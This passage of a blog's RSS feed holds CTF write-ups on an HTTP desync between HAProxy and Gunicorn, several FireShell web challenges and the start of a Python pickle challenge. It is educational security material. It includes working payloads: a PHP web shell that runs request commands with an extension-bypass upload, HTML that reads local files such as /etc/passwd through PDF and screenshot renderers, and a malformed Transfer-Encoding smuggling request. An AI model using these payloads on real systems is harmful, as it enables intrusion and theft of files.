&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/flag.png&quot; alt=&quot;&quot; title=&quot;ngrok&quot;&gt;&lt;/p&gt;
&lt;p&gt;We finally get the message that we completed the challenge and the PoC Flag🚩:&lt;br&gt;
&lt;strong&gt;\^FLAG\^736c635d8842751b8aafa556154eb9f3\$FLAG\$&lt;/strong&gt; 🤘&lt;/p&gt;
&lt;h2 id=&quot;The-End&quot;&gt;The End&lt;/h2&gt;
&lt;p&gt;Thanks for reading, I tried as much as I could to make this a short read without missing details and the rabbit holes that I followed. I wanted to showcase all of my depth-first approaches but at the time of writing this up, already some days have passed and I forgot some of them. I hope you enjoyed reading it as much as I loved solving this challenge.&lt;/p&gt;
&lt;p&gt;- CaptainFreak&lt;/p&gt;
</content:encoded><category>CTF</category><category>Hacking</category><category>WebSecurity</category><author>Shoeb Patel</author></item><item><title>DefCon CTF Quals 2020 - HTTP Desync between HAProxy &amp; Gunicorn</title><link>https://research.shoebpatel.com/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/</link><guid isPermaLink="true">https://research.shoebpatel.com/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/</guid><description>A CTF by Order of the Overflow. The CTF had a web challenge, uploooadit which I quite liked due to my affection towards the attack of HTTP Desync. The Flask application (app.py, store.py) given had two endpoints: The endpoint was used to save plain text files to the blob storage. It took Content…</description><pubDate>Mon, 18 May 2020 07:49:56 GMT</pubDate><content:encoded>&lt;h2 id=&quot;DefCon-2020-CTF-Quals&quot;&gt;DefCon 2020 CTF Quals&lt;/h2&gt;
&lt;p&gt;A &lt;a href=&quot;https://ctftime.org/event/994&quot;&gt;CTF&lt;/a&gt; by &lt;a href=&quot;https://oooverflow.io/&quot;&gt;Order of the Overflow&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/logo.png&quot; alt=&quot;&quot; title=&quot;DC CTF Logo&quot;&gt;&lt;/p&gt;
&lt;p&gt;The CTF had a web challenge, &lt;code&gt;uploooadit&lt;/code&gt; which I quite liked due to my affection towards the attack of &lt;a href=&quot;https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn&quot;&gt;HTTP Desync&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;The-Challenge&quot;&gt;The Challenge&lt;/h2&gt;
&lt;p&gt;The Flask application (&lt;a href=&quot;/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/app.py&quot;&gt;app.py&lt;/a&gt;, &lt;a href=&quot;/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/store.py&quot;&gt;store.py&lt;/a&gt;) given had two endpoints:&lt;/p&gt;
&lt;h5 id=&quot;1-POST-files&quot;&gt;1. POST /files/&lt;/h5&gt;
&lt;p&gt;The endpoint was used to save plain-text files to the blob storage. It took &lt;code&gt;Content-Type: text/plain&lt;/code&gt; and a custom header &lt;code&gt;X-guid&lt;/code&gt; containing an &lt;code&gt;id&lt;/code&gt;, an identifier for the files to fetch them later. A valid request looked like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/post.png&quot; alt=&quot;&quot; title=&quot;POST request&quot;&gt;&lt;/p&gt;
&lt;h5 id=&quot;2-GET-files&quot;&gt;2. GET /files/&lt;guid&gt;&lt;/h5&gt;
&lt;p&gt;Provided the valid &lt;code&gt;guid&lt;/code&gt;, we get to fetch our saved file with this endpoint:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/get.png&quot; alt=&quot;&quot; title=&quot;GET request&quot;&gt;&lt;/p&gt;
&lt;h5 id=&quot;0-Invalid-request&quot;&gt;0. Invalid request&lt;/h5&gt;
&lt;p&gt;And if we send an invalid request to the invalid endpoint, we reveal the frontend HTTP server being used:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/time-out.png&quot; alt=&quot;&quot; title=&quot;inavlid request&quot;&gt;&lt;/p&gt;
&lt;p&gt;So we have a Frontend Server &lt;code&gt;haproxy 1.9.10&lt;/code&gt; and a backend app is written in &lt;code&gt;Flask&lt;/code&gt; which is served by the Gunicorn WSGI.&lt;/p&gt;
&lt;p&gt;After the usual assessment, the simple scenario and code leaves us with only the situation of testing it for HTTP Desync between HAProxy and Gunicorn.&lt;/p&gt;
&lt;p&gt;The Desync can only help us in poisoning the sockets of the backend server, But if we assume that there can be a Bot that is hitting the backend server in intervals with the flag in it’s HTTP request, then the whole scenario starts making sense.&lt;/p&gt;
&lt;p&gt;But first, let’s get the HTTP Desync working. The piece &lt;a href=&quot;https://nathandavison.com/blog/haproxy-http-request-smuggling&quot;&gt;here&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/nj_dav&quot;&gt;Nathan Davison&lt;/a&gt; came in handy.&lt;/p&gt;
&lt;p&gt;As it turns out, the combination of HAProxy and Gunicorn is Vulnerable to CL-TE HTTP desync, what we mean by that is, we can send the &lt;code&gt;Content-Length&lt;/code&gt;(CL) and &lt;code&gt;Transfer-Encoding&lt;/code&gt;(TE) together but if we malform the value of &lt;code&gt;Transfer-Encoding&lt;/code&gt; a little bit by pre-pending non-printable character like “\x0b” (vertical tab) or “\x0c” (form feed), HAProxy will ignore the header and give precedence to CL header but when this is passed to Gunicorn it will parse the TE header correctly and give precedence to that, So if we send a Raw Request like following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/exploit.png&quot; alt=&quot;&quot; title=&quot;GET request&quot;&gt;&lt;/p&gt;
&lt;p&gt;As the HAProxy parses&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Content-Length: 187                                                    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Transfer-Encoding:\vchunked&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It only considers the CL header and sends the &lt;code&gt;second request as the body to Gunicorn&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;But when the Gunicorn parses the TE header, It breaks the above raw request in 2 POST requests.&lt;br&gt;
One of which is normal and complete request till the &lt;code&gt;0&lt;/code&gt; byte chunk of Transfer-Encoding and where the second request is our poison for the TCP socket which has &lt;code&gt;Content-Length: 385&lt;/code&gt;. The Gunicorn will wait for the next HTTP/TCP packet till the length of 385 is reached.&lt;/p&gt;
&lt;p&gt;And as we had assumed, what if we had a Flag BOT which submits HTTP request to the backend after some interval, we can steal its request by making it fall after our poison if it does then the raw HTTP request by the BOT will become our Poison HTTP request’s body and will be perfectly stored through &lt;code&gt;POST /files&lt;/code&gt; endpoint for us to steal through &lt;code&gt;GET /files/2aaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa&lt;/code&gt;&lt;br&gt;
Let’s check it out :)&lt;/p&gt;
&lt;p&gt;The Exploit request with &lt;code&gt;Transfer-Encoding:\vchunked&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/exploiting.png&quot; alt=&quot;&quot; title=&quot;GET request&quot;&gt;&lt;/p&gt;
&lt;p&gt;And we get the the flag 🚩at &lt;code&gt;GET /files/2aaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/flag.png&quot; alt=&quot;&quot; title=&quot;flag&quot;&gt;&lt;/p&gt;
&lt;p&gt;HTTP Desync is quite fun and prevalent considering the modern architecture that web apps are built on these days.&lt;br&gt;
It was a fun challenge. Definitely some rabbit holes followed in previous CTFs on HTTP Desync helped me out in solving this one in minutes.&lt;/p&gt;
&lt;p&gt;On another note, I play for &lt;a href=&quot;https://underdawgs.in/&quot;&gt;UnderDawgs&lt;/a&gt;, if you are looking for a team and are a nerd for maths, crypto, and reversing, please hit us up.&lt;/p&gt;
&lt;p&gt;「低い可能性はゼロではないことを意味します」&lt;br&gt;
CaptainFreak&lt;/p&gt;
</content:encoded><category>CTF</category><category>HTTP-Desync</category><category>Hacking</category><category>WebSecurity</category><author>Shoeb Patel</author></item><item><title>FireShell CTF 2020 Write-up</title><link>https://research.shoebpatel.com/2020/03/23/FireShell-CTF-2020-Write-up/</link><guid isPermaLink="true">https://research.shoebpatel.com/2020/03/23/FireShell-CTF-2020-Write-up/</guid><description>A CTF by FireShell Security Team. UnderDawgs performed well as a team in this one. 😎 I mainly focused on Web, Misc and Recon challenges during the CTF. The service was making PDFs of webpages at a given URL. Hence we have a scenario of SSRF here. Confirmed the SSRF and the User Agent involved in…</description><pubDate>Mon, 23 Mar 2020 02:45:01 GMT</pubDate><content:encoded>&lt;h2 id=&quot;FireShell-2020&quot;&gt;FireShell 2020&lt;/h2&gt;
&lt;p&gt;A &lt;a href=&quot;https://ctftime.org/event/944&quot;&gt;CTF&lt;/a&gt; by &lt;a href=&quot;https://fireshellsecurity.team/about/&quot;&gt;FireShell Security Team&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/03/23/FireShell-CTF-2020-Write-up/fireshell.gif&quot; alt=&quot;&quot; title=&quot;FireShell Security&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://underdawgs.in/&quot;&gt;UnderDawgs&lt;/a&gt; performed well as a team in this one. 😎&lt;/p&gt;
&lt;h2 id=&quot;CTF-Writeup&quot;&gt;CTF Writeup&lt;/h2&gt;
&lt;p&gt;I mainly focused on &lt;code&gt;Web&lt;/code&gt;, &lt;code&gt;Misc&lt;/code&gt; and &lt;code&gt;Recon&lt;/code&gt; challenges during the CTF.&lt;/p&gt;
&lt;h3 id=&quot;1-URL-to-PDF&quot;&gt;1. URL to PDF&lt;/h3&gt;
&lt;p&gt;The service was making PDFs of webpages at a given URL. Hence we have a scenario of SSRF here. Confirmed the &lt;code&gt;SSRF&lt;/code&gt; and the &lt;code&gt;User-Agent&lt;/code&gt; involved in PDF making using Burp Collaborator.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/03/23/FireShell-CTF-2020-Write-up/burp-pdf.png&quot; alt=&quot;&quot; title=&quot;SSRF and User-Agent&quot;&gt;&lt;/p&gt;
&lt;p&gt;So we now know that &lt;code&gt;[WeasyPrint 51](http://weasyprint.org/)&lt;/code&gt; is being used in the Backend.&lt;br&gt;
I was aware of the &lt;a href=&quot;https://youtu.be/o-tL9ULF0KI?t=1109&quot;&gt;awesome research&lt;/a&gt; on PDF generators by &lt;a href=&quot;https://twitter.com/NahamSec&quot;&gt;@nahamsec&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/daeken&quot;&gt;@daeken&lt;/a&gt;.&lt;br&gt;
But just somehow ignored revisiting it :( and forgot that they had mentioned about weasyprint. I directly started scouring Documentation, found some interesting things like &lt;a href=&quot;https://weasyprint.readthedocs.io/en/stable/tutorial.html#access-to-local-files&quot;&gt;this&lt;/a&gt; and fuzzed around them and nothing worked. I even fuzzed with Javascript and later got to know that it does not support JS at all.&lt;br&gt;
Digging more deep in documentation gave this interesting functionality&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Attachments are related files, embedded in the PDF itself. They can be specified through &amp;lt;link rel=attachment&amp;gt; elements to add resources globally or through regular links with &amp;lt;a rel=attachment&amp;gt; to attach a resource that can be saved by clicking on said link. The title attribute can be used as description of the attachment.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It says that we can use anchor and link tag to embed files as an attachment in generated PDFs and attachments can be fetched from a PDF easily. Fuzzed a bit and got the following code working to read local files :)&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;html&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;head&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;title&amp;gt;Captain&amp;lt;/title&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;body&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;a rel=&apos;attachment&apos; href=&apos;file:///etc/passwd&apos;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will embed &lt;code&gt;/etc/passwd&lt;/code&gt; in the generated pdf and we can extract it easily. It worked.&lt;br&gt;
Now I should be able to read the flag at &lt;code&gt;file:///home/ctf/flag&lt;/code&gt; as this is the location of the flag mentioned by admins. Nope, I tried for hours to read and downloaded multiple PDFs, fuzzed with more methods and the flag was at &lt;code&gt;file:///flag&lt;/code&gt;. (╯°□°)╯︵ ┻━┻&lt;/p&gt;
&lt;h3 id=&quot;2-CaaS&quot;&gt;2. CaaS&lt;/h3&gt;
&lt;p&gt;Compiler as a Service.&lt;br&gt;
It was taking valid C/C++ code, compiling it and giving us binary as downloadable.&lt;br&gt;
This was supposed to be easy but my overthinking programmer mind wanted to explore without even using the service first.&lt;br&gt;
I started searching for ways to read and retain files in the binaries at compile time. All the ways seemed tuff.&lt;br&gt;
I came back to service and saw that the compile-time errors were too verbose and were returned back to us.&lt;br&gt;
This means if we let it &lt;code&gt;#include&lt;/code&gt; an invalid header file, we will get the content of the line where the error happened. A good candidate is &lt;code&gt;/flag&lt;/code&gt; file which has only one line and that too is not valid C code. Done!&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;#include &quot;/flag&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;3-wfPM&quot;&gt;3. wfPM&lt;/h3&gt;
&lt;p&gt;Work force and Program management. The challenge author tried quite well to hide what this product was. But upon several observations on cookies and JS files, I found out that this was &lt;a href=&quot;http://qdpm.net/&quot;&gt;qdPM v9.1&lt;/a&gt;.&lt;br&gt;
This has several &lt;a href=&quot;https://www.cvedetails.com/product/36411/Qdpm-Qdpm.html?vendor_id=16223&quot;&gt;CVEs&lt;/a&gt;. The Post-RCE and info disclosure ones looked interesting.&lt;br&gt;
The RCE was in User profile picture upload functionality and it was a good candidate to read local flag file but we need a legit account on the app first and there was no visible signup feature. I tried replacing &lt;code&gt;/index.php/login&lt;/code&gt; with &lt;code&gt;/index.php/signup&lt;/code&gt; and &lt;code&gt;index.php/register&lt;/code&gt; etc. but no luck there.&lt;br&gt;
For some time I thought of somehow using Info disclosure CVEs to disclose already present accounts.&lt;br&gt;
The SQL error logs from this info disclosures were hinting towards 0-Day SQli (as this is an obscure PHP app) Followed that rabbit hole for a while.&lt;br&gt;
Then my team-mate &lt;a href=&quot;https://twitter.com/behroznathwani&quot;&gt;@Behroz&lt;/a&gt; easily got logged in to the app and was asking doubt and sharing screenshots of Post-Login dashboard, I was like WTF 🤔 (when did he became so 1337), how did he get logged in successfully. He shared that the Author has created backdoor signup at &lt;code&gt;/regiter.php&lt;/code&gt; and hinted about it in &lt;code&gt;/robots.txt&lt;/code&gt; :) Lol.&lt;br&gt;
This is where even Top 10 teams were stuck! Nobody did basic Recon.&lt;/p&gt;
&lt;p&gt;Signed up and uploaded &lt;code&gt;shell.php&lt;/code&gt; in profile picture:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;?php if(isset($_REQUEST[&apos;cmd&apos;])){ echo &quot;&amp;lt;pre&amp;gt;&quot;; $cmd = ($_REQUEST[&apos;cmd&apos;]); system($cmd); echo &quot;&amp;lt;/pre&amp;gt;&quot;; die; }?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The backend was checking for the file extension, bypassed it with &lt;code&gt;shell.php.png&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;4-Screenshoter&quot;&gt;4. Screenshoter&lt;/h3&gt;
&lt;p&gt;The author gave a webpage screenshotting tool as a service.&lt;br&gt;
This is similar to URL to PDF, It was &lt;code&gt;URL to PNG&lt;/code&gt;.&lt;br&gt;
Screenshotted my Burp collaborator endpoint and got to know that they were using &lt;code&gt;PhantomJS&lt;/code&gt; to generate web page screenshots. :)&lt;/p&gt;
&lt;p&gt;Now unlike &lt;code&gt;WeasyPrint&lt;/code&gt; client, PhantomJs supports JS execution in webpages. Used following JS to read local file:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;html&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;head&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;title&amp;gt;Captain&amp;lt;/title&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;body&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;flag=new XMLHttpRequest;flag.onload=function(){document.write(this.responseText)};flag.open(&quot;GET&quot;,&quot;file:///flag&quot;);flag.send();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;p&gt;Another simple Sanity check challenge was related to social media recon, A QR code containing Flag in an image was upload to all the social media channels of the FireShell team.&lt;/p&gt;
&lt;h2 id=&quot;Writeups-by-Team-mates&quot;&gt;Writeups by Team-mates&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Cars - Android Challenge - by &lt;a href=&quot;https://twitter.com/pwnchief&quot;&gt;@pwnchief&lt;/a&gt; - &lt;a href=&quot;https://pwnchief.com/cars-writeup-fireshell-ctf-2020/&quot;&gt;Link&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Coming Soon ..&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;P.S. UnderDawgs placed 25th.&lt;/p&gt;
&lt;p&gt;During this CTF, I learned a lot by following rabbit holes.&lt;br&gt;
Excited to UpSolve the unsolved challenges 😋.&lt;br&gt;
Coming to know that every other CTF has a different vibe and learning opportunities.&lt;/p&gt;
&lt;p&gt;Previous CTF by &lt;a href=&quot;https://twitter.com/p4_team&quot;&gt;p4 team&lt;/a&gt; taught that good teams don’t keep anything purposeless in a challenge, everything can be used in them. WriteUp &lt;a href=&quot;https://github.com/TeamUnderdawgs/CTF-Docs/tree/master/CONfidence-Teaser-2020/Web&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Progress, not Perfection,&lt;br&gt;
CaptainFreak&lt;/p&gt;
</content:encoded><category>CTF</category><category>Hacking</category><category>WebSecurity</category><author>Shoeb Patel</author></item><item><title>Facebook&apos;s BountyCon 2020 CTF Writeup</title><link>https://research.shoebpatel.com/2020/01/31/Facebooks-BountyCon-2020-CTF-Writeup/</link><guid isPermaLink="true">https://research.shoebpatel.com/2020/01/31/Facebooks-BountyCon-2020-CTF-Writeup/</guid><description>BountyCon is an invitation only application security conference arranged by Facebook annually in Singapore for the BugBounty Community of Asia Pacific region. For more information about it, check here. BountyCon2020 is the second edition. I was lucky enough to win an all sponsored invitation from…</description><pubDate>Fri, 31 Jan 2020 10:22:59 GMT</pubDate><content:encoded>&lt;h2 id=&quot;BountyCon2020&quot;&gt;BountyCon2020&lt;/h2&gt;
&lt;p&gt;BountyCon is an invitation-only application security conference arranged by Facebook annually in Singapore for the BugBounty Community of Asia-Pacific region.&lt;/p&gt;
&lt;p&gt;For more information about it, check &lt;a href=&quot;https://www.facebook.com/whitehat/ctf/bountycon2020/&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;BountyCon2020 is the second edition. I was lucky enough to win an all-sponsored invitation from Facebook to attend the last edition and it was just an amazing experience filled with lots of hacking, knowledge sharing, traveling around Singapore, networking and hacking discussions over food and drinks with fellow bug bounty hunters and talented hackers from all over the world. It can’t get better than that for a Hacker.&lt;/p&gt;
&lt;p&gt;Shoutout to Hackers who made that trip a memorable one. &lt;a href=&quot;https://twitter.com/prateek_0490&quot;&gt;Prateek Tiwari&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/bhavukjain1&quot;&gt;Bhavuk Jain&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/iamnoooob&quot;&gt;Rahul Maini&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/HivarekarPranav&quot;&gt;Pranav Hivarekar&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/sehacure&quot;&gt;Anand Prakash&lt;/a&gt; and everyone else from &lt;a href=&quot;https://twitter.com/Inbughunters&quot;&gt;Indian Bug Hunters&lt;/a&gt; Community.&lt;/p&gt;
&lt;p&gt;To get an invite, one has to top the leaderboard of &lt;a href=&quot;https://www.facebook.com/whitehat/ctf/bountycon2020/rules/&quot;&gt;BountyCon CTF&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;CTF-Writeup&quot;&gt;CTF Writeup&lt;/h2&gt;
&lt;p&gt;Following is a writeup for a challenge that I really liked solving and learned some new things in the process.&lt;/p&gt;
&lt;h3 id=&quot;1-Tick-Tock&quot;&gt;1. Tick-Tock&lt;/h3&gt;
&lt;p&gt;This was a white-box challenge around a python library. Code for an AWS lambda function was given which was vulnerable to arbitrary unpickling of Python Objects through pickle serialization library.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;class Epoch(object):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    def __init__(self, timestamp):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        self.ts = timestamp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;epoch = Epoch(&apos;{:d}&apos;.format(int(time.time())))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cookie = base64.b64encode(pickle.dumps(epoch))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The possible arbitrary code execution exploitation of pickle library was shut down by use of Lambda’s function shield which would block all the read, write, outbound connectivity and child process creation attempts.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;function_shield.configure({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;policy&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &quot;outbound_connectivity&quot;: &quot;block&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &quot;read_write_tmp&quot;: &quot;block&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &quot;create_child_process&quot;: &quot;block&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &quot;read_handler&quot;: &quot;block&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The flag for the challenge was in a globally initialized variable.&lt;/p&gt;
&lt;p&gt;Pseudo-Code of the execution was like the following:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;If cookie is not set:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - Initialize an Object of Epoch class with the timestamp.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - Pickle this Object and set it as a cookie.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - Send the response with an empty body.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Else:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - Unpickle the cookie value.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - Get the timestamp value from the cookie.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - Send a page with HTML which shows timer using this timestamp variable.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So in a nutshell, whatever gets assigned to the timestamp variable of Epoch Class gets reflected into the HTML source. This was the trick to solve the challenge. We somehow had to trick the code into initializing the reflection with the flag variable and we had unpickling as a way to do it.&lt;/p&gt;
&lt;p&gt;To arrive at the following &lt;code&gt;solution&lt;/code&gt;, I scoured through the original documentation of pickle &lt;a href=&quot;https://docs.python.org/3/library/pickle.html&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;
